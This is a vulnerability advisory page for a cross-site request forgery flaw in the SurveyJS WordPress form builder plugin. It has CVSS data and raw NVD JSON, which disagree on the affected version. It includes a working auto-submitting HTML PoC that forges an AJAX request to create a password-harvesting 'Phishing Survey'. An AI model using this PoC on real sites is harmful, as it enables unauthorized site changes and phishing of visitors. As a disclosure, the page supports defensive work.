Security Vulnerability Report
中文
CVE-2025-13139 CVSS 4.3 MEDIUM

CVE-2025-13139

Published: 2026-01-24 09:15:51
Last Modified: 2026-04-15 00:35:42

Description

The SurveyJS: Drag & Drop WordPress Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing nonce validation on the SurveyJS_AddSurvey AJAX action. This makes it possible for unauthenticated attackers to create surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

SurveyJS WordPress Form Builder <= 2.5.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-13139 --> <!-- This PoC demonstrates how an attacker can trick a WordPress admin into creating a malicious survey --> <!DOCTYPE html> <html> <head> <title>Survey Creation</title> </head> <body> <h1>Please wait...</h1> <form action="http://target-wordpress-site/wp-admin/admin-ajax.php" method="POST" id="csrf-form"> <input type="hidden" name="action" value="SurveyJS_AddSurvey"> <input type="hidden" name="survey_data" value='{"title":"Phishing Survey","questions":[{"text":"Enter your password","type":"text"}]}'> </form> <script> // Auto-submit the form when page loads document.getElementById('csrf-form').submit(); </script> <!-- Attack Scenario: 1. Attacker hosts this HTML page 2. Lures WordPress admin to visit the page (e.g., via phishing email) 3. Form auto-submits using admin's authenticated session 4. Malicious survey is created on the target WordPress site Requirements: - WordPress admin must be logged in - Admin must visit the attacker's page - Plugin version <= 2.5.2 --> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13139", "sourceIdentifier": "[email protected]", "published": "2026-01-24T09:15:50.647", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The SurveyJS: Drag & Drop WordPress Form Builder plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 2.5.2. This is due to missing nonce validation on the SurveyJS_AddSurvey AJAX action. This makes it possible for unauthenticated attackers to create surveys via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}, {"lang": "es", "value": "El plugin SurveyJS: Drag &amp; Drop WordPress Form Builder para WordPress es vulnerable a la falsificación de petición en sitios cruzados en todas las versiones hasta la 1.12.20, inclusive. Esto se debe a la falta de validación de nonce en la acción AJAX SurveyJS_AddSurvey. Esto hace posible que atacantes no autenticados creen encuestas a través de una petición falsificada, siempre que puedan engañar a un administrador del sitio para que realice una acción como hacer clic en un enlace."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/surveyjs/tags/1.12.20/ajax_handlers/add_survey.php#L12", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3446910/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0c06880e-06cc-4204-a031-355de4de3af2?source=cve", "source": "[email protected]"}]}}